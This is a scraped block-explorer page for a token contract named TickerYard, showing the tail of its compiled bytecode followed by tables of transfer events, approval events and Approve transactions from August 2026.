5050565b5f6020820190506120115f830184611fef565b92915050565b5f5f5f6060848603121561202e5761202d611ebe565b5b5f61203b86828701611f0c565b935050602061204c86828701611f0c565b925050604061205d86828701611f3f565b9150509250925092565b5f60ff82169050919050565b61207c81612067565b82525050565b5f6020820190506120955f830184612073565b92915050565b5f5f604083850312156120b1576120b0611ebe565b5b5f6120be85828601611f3f565b92505060206120cf85828601611f0c565b9150509250929050565b6120e281611ee5565b82525050565b5f6020820190506120fb5f8301846120d9565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261212257612121612101565b5b8235905067ffffffffffffffff81111561213f5761213e612105565b5b60208301915083602082028301111561215b5761215a612109565b5b9250929050565b5f5f83601f84011261217757612176612101565b5b8235905067ffffffffffffffff81111561219457612193612105565b5b6020830191508360208202830111156121b0576121af612109565b5b9250929050565b5f5f5f5f5f606086880312156121d0576121cf611ebe565b5b5f6121dd88828901611f0c565b955050602086013567ffffffffffffffff8111156121fe576121fd611ec2565b5b61220a8882890161210d565b9450945050604086013567ffffffffffffffff81111561222d5761222c611ec2565b5b61223988828901612162565b92509250509295509295909350565b5f5f5f5f5f6080868803121561226157612260611ebe565b5b5f61226e88828901611f0c565b955050602086013567ffffffffffffffff81111561228f5761228e611ec2565b5b61229b8882890161210d565b945094505060406122ae88828901611f3f565b92505060606122bf88828901611f3f565b9150509295509295909350565b6122d581611f91565b81146122df575f5ffd5b50565b5f813590506122f0816122cc565b92915050565b5f6020828403121561230b5761230a611ebe565b5b5f612318848285016122e2565b91505092915050565b5f5f6040838503121561233757612336611ebe565b5b5f61234485828601611f0c565b925050602061235585828601611f0c565b9150509250929050565b5f6020828403121561237457612373611ebe565b5b5f61238184828501611f3f565b91505092915050565b5f5f5f604084860312156123a1576123a0611ebe565b5b5f84013567ffffffffffffffff8111156123be576123bd611ec2565b5b6123ca8682870161210d565b935093505060206123dd868287016122e2565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061242b57607f821691505b60208210810361243e5761243d6123e7565b5b50919050565b7f526563697069656e7473206c6973742063616e6e6f7420626520656d707479005f82015250565b5f612478601f83611e38565b915061248382612444565b602082019050919050565b5f6020820190508181035f8301526124a58161246c565b9050919050565b7f526563697069656e7473206c656e677468206d75737420626520657175616c205f8201527f616d6f756e74206c656e67746800000000000000000000000000000000000000602082015250565b5f612506602d83611e38565b9150612511826124ac565b604082019050919050565b5f6020820190508181035f830152612533816124fa565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f61259b602083611e38565b91506125a682612567565b602082019050919050565b5f6020820190508181035f8301526125c88161258f565b9050919050565b7f496e76616c696420726563697069656e742061646472657373000000000000005f82015250565b5f612603601983611e38565b915061260e826125cf565b602082019050919050565b5f6020820190508181035f830152612630816125f7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61266e82611f20565b915061267983611f20565b925082820261268781611f20565b9150828204841483151761269e5761269d612637565b5b5092915050565b7f4d696e20616d6f756e74206d7573742062652067726561746572207468616e205f8201527f7a65726f00000000000000000000000000000000000000000000000000000000602082015250565b5f6126ff602483611e38565b915061270a826126a5565b604082019050919050565b5f6020820190508181035f83015261272c816126f3565b9050919050565b7f4d617820616d6f756e74206d757374206265203e3d206d696e20616d6f756e745f82015250565b5f612767602083611e38565b915061277282612733565b602082019050919050565b5f6020820190508181035f8301526127948161275b565b9050919050565b5f6127a582611f20565b91506127b083611f20565b92508282039050818111156127c8576127c7612637565b5b92915050565b5f6127d882611f20565b91506127e383611f20565b92508282019050808211156127fb576127fa612637565b5b92915050565b5f819050919050565b61281b61281682611f20565b612801565b82525050565b5f8160601b9050919050565b5f61283782612821565b9050919050565b5f6128488261282d565b9050919050565b61286061285b82611ee5565b61283e565b82525050565b5f612871828661280a565b602082019150612881828561284f565b601482019150612891828461280a565b602082019150819050949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6128d982611f20565b91506128e483611f20565b9250826128f4576128f36128a2565b5b828206905092915050565b5f8151905061290d81611ef6565b92915050565b5f6020828403121561292857612927611ebe565b5b5f612935848285016128ff565b91505092915050565b5f6040820190506129515f8301856120d9565b61295e60208301846120d9565b9392505050565b5f6060820190506129785f8301866120d9565b6129856020830185611fef565b6129926040830184611fef565b949350505050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f6129ce601283611e38565b91506129d98261299a565b602082019050919050565b5f6020820190508181035f8301526129fb816129c2565b9050919050565b7f436f6e67657374696f6e3a20547279206c6174657200000000000000000000005f82015250565b5f612a36601583611e38565b9150612a4182612a02565b602082019050919050565b5f6020820190508181035f830152612a6381612a2a565b905091905056fea26469706673582212204f56d8a9fcc760e0db2acf6ee44f459156eb6d60e4551a0ace276237152ddea264736f6c634300081c0033
| Transaction Hash | Method | Block | Age | From | To | Amount | Token | ||
|---|---|---|---|---|---|---|---|---|---|
| no token transfers for this address yet | |||||||||
| Txn Hash | Age | Event | Topics / Data |
|---|---|---|---|
| 0x5f9280…35a89e | 3 days agoFri, 14 Aug 2026 17:21:01 UTC | Approval | [0] 0x000000000000…f1e53232 [1] 0x000000000000…262c40dc data: 0x000000000000000000…253981c6 |
| 0x088892…fb6978 | 4 days agoThu, 13 Aug 2026 17:23:31 UTC | Transfer | [0] 0x000000000000…34847b49 [1] 0x000000000000…43e40951 data: 0x000000000000000000…5271baca |
| 0x9f8b0e…d8eb1f | 4 days agoThu, 13 Aug 2026 17:23:31 UTC | Approval | [0] 0x000000000000…34847b49 [1] 0x000000000000…72c22734 data: 0xffffffffffffffffff…ffffffff |
| 0xb11162…52de50 | 4 days agoThu, 13 Aug 2026 17:23:29 UTC | Transfer | [0] 0x000000000000…43e40951 [1] 0x000000000000…34847b49 data: 0x000000000000000000…5270d0da |
| 0xbc2d84…17bd7d | 4 days agoThu, 13 Aug 2026 13:20:49 UTC | Transfer | [0] 0x000000000000…4ef2911a [1] 0x000000000000…43e40951 data: 0x000000000000000000…3f5f94af |
| 0x9aa254…c48dc0 | 4 days agoThu, 13 Aug 2026 13:20:48 UTC | Approval | [0] 0x000000000000…4ef2911a [1] 0x000000000000…72c22734 data: 0xffffffffffffffffff…ffffffff |
| 0xf1719c…7203c2 | 4 days agoThu, 13 Aug 2026 13:20:46 UTC | Transfer | [0] 0x000000000000…43e40951 [1] 0x000000000000…4ef2911a data: 0x000000000000000000…3f5f8340 |
| 0x0f9c98…a97083 | 4 days agoThu, 13 Aug 2026 09:10:38 UTC | Transfer | [0] 0x000000000000…43e40951 [1] 0x000000000000…2ff4ccb3 data: 0x000000000000000000…a4e3600b |
| 0x26e284…0fadc6 | 4 days agoThu, 13 Aug 2026 00:17:36 UTC | Transfer | [0] 0x000000000000…43e40951 [1] 0x000000000000…b257d4b6 data: 0x000000000000000000…896ad031 |
| 0x6ac602…0d020b | 4 days agoWed, 12 Aug 2026 22:27:56 UTC | Approval | [0] 0x000000000000…6d535598 [1] 0x000000000000…c4843482 data: 0xffffffffffffffffff…ffffffff |
| 0xa7b674…9ee1a2 | 4 days agoWed, 12 Aug 2026 18:11:43 UTC | Transfer | [0] 0x000000000000…20cbbe5f [1] 0x000000000000…43e40951 data: 0x000000000000000000…a3b29900 |
| 0xa7b674…9ee1a2 | 4 days agoWed, 12 Aug 2026 18:11:43 UTC | Transfer | [0] 0x000000000000…20cbbe5f [1] 0x000000000000…43e40951 data: 0x000000000000000000…37c87f00 |
| 0xa7b674…9ee1a2 | 4 days agoWed, 12 Aug 2026 18:11:43 UTC | Transfer | [0] 0x000000000000…cd3bfe27 [1] 0x000000000000…20cbbe5f data: 0x000000000000000000…db7b1800 |
| 0xe10d6e…3a53e6 | 4 days agoWed, 12 Aug 2026 18:11:27 UTC | Approval | [0] 0x000000000000…cd3bfe27 [1] 0x000000000000…72c22734 data: 0xffffffffffffffffff…ffffffff |
| 0x57a3ac…34956e | 4 days agoWed, 12 Aug 2026 18:11:17 UTC | Approval | [0] 0x000000000000…cd3bfe27 [1] 0x000000000000…72c22734 data: 0xffffffffffffffffff…ffffffff |
| 0xdaccbc…63f246 | 5 days agoWed, 12 Aug 2026 16:50:37 UTC | Approval | [0] 0x000000000000…8831d8e4 [1] 0x000000000000…aa9470e0 data: 0xffffffffffffffffff…ffffffff |
| 0xf10014…3f41ca | 5 days agoWed, 12 Aug 2026 15:10:52 UTC | Transfer | [0] 0x000000000000…f062dde2 [1] 0x000000000000…7290afa9 data: 0x000000000000000000…a6a6d521 |
| 0xd044c4…9eb235 | 5 days agoWed, 12 Aug 2026 15:10:52 UTC | Transfer | [0] 0x000000000000…eb649eba [1] 0x000000000000…3af8a386 data: 0x000000000000000000…7dd0a1b0 |
| 0xd044c4…9eb235 | 5 days agoWed, 12 Aug 2026 15:10:52 UTC | Transfer | [0] 0x000000000000…f062dde2 [1] 0x000000000000…eb649eba data: 0x000000000000000000…7dd0a1b0 |
| 0x597c1d…6dfc25 | 5 days agoWed, 12 Aug 2026 13:48:41 UTC | Approval | [0] 0x000000000000…ace86117 [1] 0x000000000000…262c40dc data: 0x000000000000000000…b22937d4 |
| 0x71450a…bcae3c | 5 days agoWed, 12 Aug 2026 13:48:41 UTC | Approval | [0] 0x000000000000…dc29a97c [1] 0x000000000000…262c40dc data: 0x000000000000000000…9fd0d32d |
| 0x09505a…61f822 | 5 days agoWed, 12 Aug 2026 13:48:41 UTC | Approval | [0] 0x000000000000…4d68ab3a [1] 0x000000000000…262c40dc data: 0x000000000000000000…bd0a92a1 |
| 0x1dc443…79ab72 | 5 days agoWed, 12 Aug 2026 13:48:41 UTC | Approval | [0] 0x000000000000…735bc8f1 [1] 0x000000000000…262c40dc data: 0x000000000000000000…2c972e06 |
| 0x033fe2…77d0ca | 5 days agoWed, 12 Aug 2026 08:55:15 UTC | Approval | [0] 0x000000000000…e519a316 [1] 0x000000000000…262c40dc data: 0x000000000000000000…61019885 |
| 0xc6e617…5d67c2 | 5 days agoWed, 12 Aug 2026 08:51:25 UTC | Transfer | [0] 0x000000000000…5e236266 [1] 0x000000000000…43e40951 data: 0x000000000000000000…49711000 |
| Transaction Hash | Method | Block | Age | From | To | Type | Item | ||
|---|---|---|---|---|---|---|---|---|---|
| no NFT transfers for this address yet | |||||||||
| Type | Age | Block | Details |
|---|---|---|---|
| no cross-chain L1↔L2 transactions for this address | |||
| Transaction Hash | Method ? | Block | Age | From | To | Amount | Txn Fee ? | ||
|---|---|---|---|---|---|---|---|---|---|
| 0x5f9280…35a89e | Approve | 36,427,903 | 3 days agoFri, 14 Aug 2026 17:21:01 UTC | 0x7847…3232 | IN | TickerYard | $0.000 ETH | 0.00000187 | |
| 0x9f8b0e…d8eb1f | Approve | 35,567,062 | 4 days agoThu, 13 Aug 2026 17:23:31 UTC | 0x9ec5…7b49 | IN | TickerYard | $0.000 ETH | 0.00000209 | |
| 0x9aa254…c48dc0 | Approve | 35,421,779 | 4 days agoThu, 13 Aug 2026 13:20:48 UTC | 0x67e7…911a | IN | TickerYard | $0.000 ETH | 0.00000210 | |
| 0x6ac602…0d020b | Approve | 34,887,639 | 4 days agoWed, 12 Aug 2026 22:27:56 UTC | 0xfde1…5598 | IN | TickerYard | $0.000 ETH | 0.00000248 | |
| 0xe10d6e…3a53e6 | Approve | 34,734,001 | 4 days agoWed, 12 Aug 2026 18:11:27 UTC | 0x4984…fe27 | IN | TickerYard | $0.000 ETH | 0.00000138 | |
| 0x57a3ac…34956e | Approve | 34,733,903 | 4 days agoWed, 12 Aug 2026 18:11:17 UTC | 0x4984…fe27 | IN | TickerYard | $0.000 ETH | 0.00000238 | |
| 0xdaccbc…63f246 | Approve | 34,685,572 | 5 days agoWed, 12 Aug 2026 16:50:37 UTC | 0xd4da…d8e4 | IN | TickerYard | $0.000 ETH | 0.00000240 | |
| 0x597c1d…6dfc25 | Approve | 34,576,589 | 5 days agoWed, 12 Aug 2026 13:48:41 UTC | 0x993d…6117 | IN | TickerYard | $0.000 ETH | 0.00000150 | |
| 0x09505a…61f822 | Approve | 34,576,589 | 5 days agoWed, 12 Aug 2026 13:48:41 UTC | 0x8489…ab3a | IN | TickerYard | $0.000 ETH | 0.00000150 | |
| 0x1dc443…79ab72 | Approve | 34,576,589 | 5 days agoWed, 12 Aug 2026 13:48:41 UTC | 0x3b48…c8f1 | IN | TickerYard | $0.000 ETH | 0.00000150 | |
| 0x71450a…bcae3c | Approve | 34,576,589 | 5 days agoWed, 12 Aug 2026 13:48:41 UTC | 0xcd14…a97c | IN | TickerYard | $0.000 ETH | 0.00000150 | |
| 0x033fe2…77d0ca | Approve | 34,399,799 | 5 days agoWed, 12 Aug 2026 08:55:15 UTC | 0x0dff…a316 | IN | TickerYard | $0.000 ETH | 0.00000207 | |
| 0x2814ae…cbd352 | Approve | 34,341,190 | 5 days agoWed, 12 Aug 2026 07:17:41 UTC | 0xad01…fce5 | IN | TickerYard | $0.000 ETH | 0.00000208 | |
| 0xc572dd…f63212 | Approve | 34,198,875 | 5 days agoWed, 12 Aug 2026 03:21:01 UTC | 0x4984…fe27 | IN | TickerYard | $0.000 ETH | 0.00000195 | |
| 0xad3698…33914d | Approve | 34,197,003 | 5 days agoWed, 12 Aug 2026 03:17:52 UTC | 0x4984…fe27 | IN | TickerYard | $0.000 ETH | 0.00000198 | |
| 0x52aa9e…a5b2cd | Approve | 34,190,503 | 5 days agoWed, 12 Aug 2026 03:07:06 UTC | 0x7c7c…a477 | IN | TickerYard | $0.000 ETH | 0.00000198 | |
| 0x90c362…a5a5f3 | Approve | 34,183,003 | 5 days agoWed, 12 Aug 2026 02:54:41 UTC | 0xeec7…dd06 | IN | TickerYard | $0.000 ETH | 0.00000191 | |
| 0xc18bff…f02e06 | Approve | 34,168,344 | 5 days agoWed, 12 Aug 2026 02:30:22 UTC | 0x0007…23f9 | IN | TickerYard | $0.000 ETH | 0.00000189 | |
| 0x5d67d7…188dc4 | Approve | 34,133,741 | 5 days agoWed, 12 Aug 2026 01:33:03 UTC | 0x16fd…d4b6 | IN | TickerYard | $0.000 ETH | 0.00000178 | |
| 0xdd6b0c…8b96b4 | Approve | 34,128,493 | 5 days agoWed, 12 Aug 2026 01:24:20 UTC | 0x64f7…098d | IN | TickerYard | $0.000 ETH | 0.00001795 | |
| 0xc408b4…e35c8c | Approve | 34,119,008 | 5 days agoWed, 12 Aug 2026 01:08:34 UTC | 0x92f9…2f21 | IN | TickerYard | $0.000 ETH | 0.00000414 | |
| 0xc4fd0a…de344b | Approve | 34,107,302 | 5 days agoWed, 12 Aug 2026 00:49:11 UTC | 0xeec7…dd06 | IN | TickerYard | $0.000 ETH | 0.00000179 | |
| 0x8cf3cd…e6b915 | Approve | 34,080,483 | 5 days agoWed, 12 Aug 2026 00:04:53 UTC | 0xd4da…d8e4 | IN | TickerYard | $0.000 ETH | 0.00000229 | |
| 0x8af9fc…359b60 | Approve | 34,079,027 | 5 days agoWed, 12 Aug 2026 00:02:34 UTC | 0x16fd…d4b6 | IN | TickerYard | $0.000 ETH | 0.00002646 | |
| 0x550c5e…fe2dc2 | Approve | 34,077,218 | 5 days agoTue, 11 Aug 2026 23:59:33 UTC | 0x3ccf…1404 | IN | TickerYard | $0.000 ETH | 0.00000220 |